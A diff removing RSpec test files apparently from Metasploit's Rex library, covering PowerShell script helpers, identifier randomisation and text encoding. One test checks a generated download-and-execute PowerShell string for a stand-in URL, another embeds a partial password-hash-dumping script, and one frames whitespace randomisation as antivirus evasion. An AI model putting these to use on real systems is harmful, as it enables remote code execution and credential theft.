expect { subject.block_extract(subject.code.length) }.to raise_error(ArgumentError)
expect { subject.block_extract(59) }.to raise_error(ArgumentError)
end
end
describe "::get_func" do
it 'should extract a function from the code' do
function = subject.get_func('Find-4624Logons')
expect(function).to be
expect(function).to be_kind_of Rex::Powershell::Function
end
it 'should return nil if function doesnt exist' do
function = subject.get_func(Rex::Text.rand_text_alpha(5))
expect(function).to be_nil
end
it 'should delete the function if delete is true' do
function = subject.get_func('Find-4624Logons', true)
expect(subject.code.include?('DllImport')).to be_falsey
end
end
end

View File

@ -1,53 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/powershell'
RSpec.describe Rex::Powershell::PshMethods do
describe "::download" do
it 'should return some powershell' do
script = Rex::Powershell::PshMethods.download('a','b')
expect(script).to be
expect(script.include?('WebClient')).to be_truthy
end
end
describe "::uninstall" do
it 'should return some powershell' do
script = Rex::Powershell::PshMethods.uninstall('a')
expect(script).to be
expect(script.include?('Win32_Product')).to be_truthy
end
end
describe "::secure_string" do
it 'should return some powershell' do
script = Rex::Powershell::PshMethods.secure_string('a')
expect(script).to be
expect(script.include?('AsPlainText')).to be_truthy
end
end
describe "::who_locked_file" do
it 'should return some powershell' do
script = Rex::Powershell::PshMethods.who_locked_file('a')
expect(script).to be
expect(script.include?('Get-Process')).to be_truthy
end
end
describe "::get_last_login" do
it 'should return some powershell' do
script = Rex::Powershell::PshMethods.get_last_login('a')
expect(script).to be
expect(script.include?('Get-QADComputer')).to be_truthy
end
end
describe "::proxy_aware_download_and_exec_string" do
it 'should return some powershell' do
url = 'http://blah'
script = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)
expect(script).to be
expect(script.include?(url)).to be_truthy
expect(script.downcase.include?('downloadstring')).to be_truthy
end
end
end

View File

@ -1,48 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/powershell'
RSpec.describe Rex::Powershell::Output do
let(:example_script) do
Rex::Text.rand_text_alpha(400)
end
let(:subject) do
Rex::Powershell::Script.new(example_script)
end
describe "::initialize" do
it 'should create a new script object' do
expect(subject).to be
expect(subject).to be_kind_of Rex::Powershell::Script
expect(subject.rig).to be
expect(subject.rig).to be_kind_of Rex::RandomIdentifierGenerator
expect(subject.code).to be
expect(subject.code).to be_kind_of String
expect(subject.code.empty?).to be_falsey
expect(subject.functions.empty?).to be_truthy
end
end
describe "::to_byte_array" do
it 'should generate a powershell byte array' do
byte_array = Rex::Powershell::Script.to_byte_array("parp")
expect(byte_array).to be
expect(byte_array).to be_kind_of String
expect(byte_array.include?('[Byte[]] $')).to be_truthy
end
end
describe "::code_modifiers" do
it 'should return an array of modifier methods' do
mods = Rex::Powershell::Script.code_modifiers
expect(mods).to be
expect(mods).to be_kind_of Array
expect(mods.empty?).to be_falsey
end
end
end

View File

@ -1,47 +0,0 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'rex/powershell'
RSpec.describe Rex::Powershell do
let(:example_script) do
"""function DumpHashes
{
LoadApi
$bootkey = Get-BootKey;
$hbootKey = Get-HBootKey $bootkey;
Get-UserKeys | %{
$hashes = Get-UserHashes $_ $hBootKey;
\"{0}:{1}:{2}:{3}:::\" -f ($_.UserName,$_.Rid,
[BitConverter]::ToString($hashes[0]).Replace(\"-\",\"\").ToLower(),
[BitConverter]::ToString($hashes[1]).Replace(\"-\",\"\").ToLower());
}
}
DumpHashes"""
end
describe "::read_script" do
it 'should create a script from a string input' do
script = described_class.read_script(example_script)
expect(script).to be_a_kind_of Rex::Powershell::Script
end
end
describe "::process_subs" do
it 'should create an array of substitutions to process' do
subs = described_class.process_subs("BitConverter,ParpConverter;$bootkey,$parpkey;")
expect(subs).to eq [['BitConverter','ParpConverter'],['$bootkey','$parpkey']]
end
end
describe "::make_subs" do
it 'should substitute values in script' do
script = described_class.make_subs(example_script,[['BitConverter','ParpConverter']])
expect(script.include?('BitConverter')).to be_falsey
expect(script.include?('ParpConverter')).to be_truthy
end
end
end

View File

@ -1,141 +0,0 @@
require 'spec_helper'
require 'rex/random_identifier_generator'
RSpec.describe Rex::RandomIdentifierGenerator do
let(:options) do
{ :min_length => 10, :max_length => 20 }
end
subject(:rig) { described_class.new(options) }
it { is_expected.to respond_to(:generate) }
it { is_expected.to respond_to(:[]) }
it { is_expected.to respond_to(:get) }
it { is_expected.to respond_to(:store) }
it { is_expected.to respond_to(:to_h) }
describe "#generate" do
it "should respect :min_length" do
1000.times do
expect(rig.generate.length).to be >= options[:min_length]
end
end
it "should respect :max_length" do
1000.times do
expect(rig.generate.length).to be <= options[:max_length]
end
end
it "should allow mangling in a block" do
ident = rig.generate { |identifier| identifier.upcase }
expect(ident).to match(/\A[A-Z0-9_]*\Z/)
ident = subject.generate { |identifier| identifier.downcase }
expect(ident).to match(/\A[a-z0-9_]*\Z/)
ident = subject.generate { |identifier| identifier.gsub("A","B") }
expect(ident).not_to include("A")
end
end
describe "#get" do
let(:options) do
{ :min_length=>3, :max_length=>3 }
end
it "should return the same thing for subsequent calls" do
expect(rig.get(:rspec)).to eq rig.get(:rspec)
end
it "should not return the same for different names" do
# Statistically...
count = 1000
a = Set.new
count.times do |n|
a.add rig.get(n)
end
expect(a.size).to eq count
end
context "with an exhausted set" do
let(:options) do
{ :char_set => "abcd", :min_length=>2, :max_length=>2 }
end
let(:max_permutations) do
# 26 because first char is hardcoded to be lowercase alpha
26 * (options[:char_set].length ** options[:min_length])
end
it "doesn't infinite loop" do
Timeout.timeout(1) do
expect {
(max_permutations + 1).times { |i| rig.get(i) }
}.to raise_error(Rex::RandomIdentifierGenerator::ExhaustedSpaceError)
# don't rescue TimeoutError here because we want that to be a
# failure case
end
end
end
end
describe "#store" do
let(:options) do
{ :char_set => "abcd", :min_length=>8, :max_length=>20 }
end
it "should allow smaller than minimum length" do
value = "a"*(options[:min_length]-1)
rig.store(:spec, value)
expect(rig.get(:spec)).to eq value
end
it "should allow bigger than maximum length" do
value = "a"*(options[:max_length]+1)
rig.store(:spec, value)
expect(rig.get(:spec)).to eq value
end
it "should raise if value is not unique" do
value = "a"*(options[:max_length]+1)
rig.store(:spec0, value)
expect(rig.get(:spec0)).to eq value
expect { rig.store(:spec1, value) }.to raise_error(RuntimeError)
end
it "should overwrite a previously stored value" do
orig_value = "a"*(options[:max_length])
rig.store(:spec, orig_value)
expect(rig.get(:spec)).to eq orig_value
new_value = "b"*(options[:max_length])
rig.store(:spec, new_value)
expect(rig.get(:spec)).to eq new_value
end
it "should overwrite a previously generated value" do
rig.get(:spec)
new_value = "a"*(options[:max_length])
rig.store(:spec, new_value)
expect(rig.get(:spec)).to eq new_value
end
end
describe "#to_h" do
it "should return a Hash" do
expect(rig.to_h).to be_kind_of(Hash)
end
it "should return expected key-value pairs" do
expected_keys = [:var_foo, :var_bar]
expected_keys.shuffle.each do |key|
rig.init_var(key)
end
expect(rig.to_h.size).to eq(expected_keys.size)
expect(rig.to_h.keys).to include(*expected_keys)
expect(rig.to_h.values.map {|v| v.class}.uniq).to eq([String])
end
end
end

View File

@ -1,229 +0,0 @@
# -*- coding: binary -*-
require 'rex/text'
RSpec.describe Rex::Text do
context "Class methods" do
context ".to_ebcdic" do
it "should convert ASCII to EBCDIC (both US standards)" do
expect(described_class.to_ebcdic("Hello, World!")).to eq("\xc8\x85\x93\x93\x96\x6b\x40\xe6\x96\x99\x93\x84\x5a")
end
it "should raise on non-convertable characters" do
expect(lambda {described_class.to_ebcdic("\xff\xfe")}).to raise_exception(described_class::IllegalSequence)
end
end
context ".from_ebcdic" do
it "should convert EBCDIC to ASCII (both US standards)" do
expect(described_class.from_ebcdic("\xc8\x85\x93\x93\x96\x6b\x40\xe6\x96\x99\x93\x84\x5a")).to eq("Hello, World!")
end
it "should raise on non-convertable characters" do
expect(lambda {described_class.from_ebcdic("\xff\xfe")}).to raise_exception(described_class::IllegalSequence)
end
end
context ".to_ibm1047" do
it "should convert ASCII to mainfram EBCDIC (cp1047)" do
expect(
described_class.to_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~])
).to eq("_\xAD\xBDM]\xC0\xD0lZ[{\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xF0\x81\x82\x83\x84\x85}\x7Fy\xA1")
end
end
context ".from_1047" do
it "should convert mainframe EBCDIC (cp1047) to ASCII (ISO-8859-1)" do
expect(
described_class.from_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~])
).to eq(";$)\x88\x89#'\x85\x81\x84\x83\x91\x16\x93\x94\x95\x96\x04\x98\x99\x90/\xC2\xC4\xC0\xC1\e\x82-=")
end
end
context ".to_utf8" do
it "should convert a string to UTF-8, skipping badchars" do
expect(described_class.to_utf8("Hello, world!")).to eq("Hello, world!")
expect(described_class.to_utf8("Oh no, \xff\xfe can't convert!")).to eq("Oh no, can't convert!")
end
end
context ".to_octal" do
it "should convert all chars 00 through ff" do
expect(described_class.to_octal("\x7f"*100)).to eq("\\177"*100)
all_chars = (0..0xff).map {|c| [c].pack("C") }.join
all_octal = (0..0xff).map {|c| "\\%o"%(c) }.join
expect(described_class.to_octal(all_chars)).to eq(all_octal)
end
it "should use the given prefix" do
expect(described_class.to_octal("\x7f"*100, "foo")).to eq("foo177"*100)
all_chars = (0..0xff).map {|c| [c].pack("C") }.join
all_octal = (0..0xff).map {|c| "test%o"%(c) }.join
expect(described_class.to_octal(all_chars, "test")).to eq(all_octal)
end
end
context ".to_hex" do
it "should convert all chars 00 through ff" do
expect(described_class.to_hex("\x7f"*100)).to eq("\\x7f"*100)
all_chars = (0..0xff).map {|c| [c].pack("C") }.join
all_hex = (0..0xff).map {|c| "\\x%02x"%(c) }.join
expect(described_class.to_hex(all_chars)).to eq(all_hex)
end
it "should use the given prefix" do
expect(described_class.to_hex("\x7f"*100, "foo")).to eq("foo7f"*100)
all_chars = (0..0xff).map {|c| [c].pack("C") }.join
all_hex = (0..0xff).map {|c| "test%02x"%(c) }.join
expect(described_class.to_hex(all_chars, "test")).to eq(all_hex)
end
end
context ".to_hex_ascii" do
it "should handle non-printables" do
non_print = (0x7f..0xff).map {|c| [c].pack("C") }.join
non_print_hex = (0x7f..0xff).map {|c| "\\x%02x"%(c) }.join
expect(described_class.to_hex_ascii(non_print)).to eq(non_print_hex)
expect(described_class.to_hex_ascii("\x00")).to eq("\\x00")
expect(described_class.to_hex_ascii("\x1f")).to eq("\\x1f")
expect(described_class.to_hex_ascii("\x00"*100)).to eq("\\x00"*100)
end
it "should not mess with printables" do
expect(described_class.to_hex_ascii("A")).to eq("A")
expect(described_class.to_hex_ascii("A\x7f")).to eq("A\\x7f")
end
end
context ".gzip" do
it "should return a properly formatted gzip file" do
str = described_class.gzip("hi mom")
expect(str[0,4]).to eq("\x1f\x8b\x08\x00") # Gzip magic
# bytes 4 through 9 are a time stamp
expect(str[10..-1]).to eq("\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00")
end
end
context ".ungzip" do
it "should return an uncompressed string" do
gzip = "\x1f\x8b\x08\x00"
gzip << "\x00" * 6
gzip << "\xcb\xc8\x54\xc8\xcd\xcf\x05\x00\x68\xa4\x1c\xf0\x06\x00\x00\x00"
expect(described_class.ungzip(gzip)).to eq("hi mom")
end
end
context ".rand_surname" do
it "should return a random surname" do
expect(described_class::Surnames).to include(described_class.rand_surname)
end
end
context ".rand_name" do
it "should return a random name" do
names = described_class::Names_Female + described_class::Names_Male
expect(names).to include(described_class.rand_name)
end
end
context ".rand_name_female" do
it "should return a random female name" do
expect(described_class::Names_Female).to include(described_class.rand_name_female)
end
end
context ".rand_name_male" do
it "should return a random male name" do
expect(described_class::Names_Male).to include(described_class.rand_name_male)
end
end
context ".rand_mail_address" do
it "should return a random mail address" do
names = described_class::Names_Female + described_class::Names_Male
surnames = described_class::Surnames
tlds = described_class::TLDs
# XXX: This is kinda dirty
mail_address = described_class.rand_mail_address.split("@").map { |x| x.split(".") }
name, surname = mail_address.first.first, mail_address.first.last
domain, tld = "example", mail_address.last.last # Poor man's stubbing to preserve TLD
expect(names).to include(name)
expect(surnames).to include(surname)
expect(domain).to eq("example")
expect(tlds).to include(tld)
end
end
context ".randomize_space" do
let (:sample_text) { "The quick brown sploit jumped over the lazy A/V" }
let (:spaced_text) { described_class.randomize_space(sample_text) }
it "should return a string with at least one new space characater" do
expect(spaced_text).to match /[\x09\x0d\x0a]/
end
it "should not otherwise be mangled" do
normalized_text = spaced_text.gsub(/[\x20\x09\x0d\x0a]+/m, " ")
expect(normalized_text).to eq(sample_text)
end
end
context ".cowsay" do
def moo(num)
(%w(moo) * num).join(' ')
end
it "should cowsay single lines correctly" do
cowsaid = <<EOCOW
_____________________
< moo moo moo moo moo >
---------------------
\\ ,__,
\\ (oo)____
(__) )\\
||--|| *
EOCOW
expect(described_class.cowsay(moo(5))).to eq(cowsaid)
end
it "should cowsay two lines correctly" do
cowsaid = <<EOCOW
_____________________________________
/ moo moo moo moo moo moo moo moo moo \\
\\ moo moo moo moo moo moo /
-------------------------------------
\\ ,__,
\\ (oo)____
(__) )\\
||--|| *
EOCOW
expect(described_class.cowsay(moo(15))).to eq(cowsaid)
end
it "should cowsay three+ lines correctly" do
cowsaid = <<EOCOW
_____________________________________
/ moo moo moo moo moo moo moo moo moo \\
| moo moo moo moo moo moo moo moo mo |
| o moo moo moo moo moo moo moo moo m |
\\ oo moo moo moo /
-------------------------------------
\\ ,__,
\\ (oo)____
(__) )\\
||--|| *
EOCOW
expect(described_class.cowsay(moo(30))).to eq(cowsaid)
end
it "should respect the wrap" do
wrap = 40 + rand(100)
cowsaid = described_class.cowsay(moo(1000), wrap)
max_len = cowsaid.split(/\n/).map(&:length).sort.last
expect(max_len).to eq(wrap)
end
end
end
end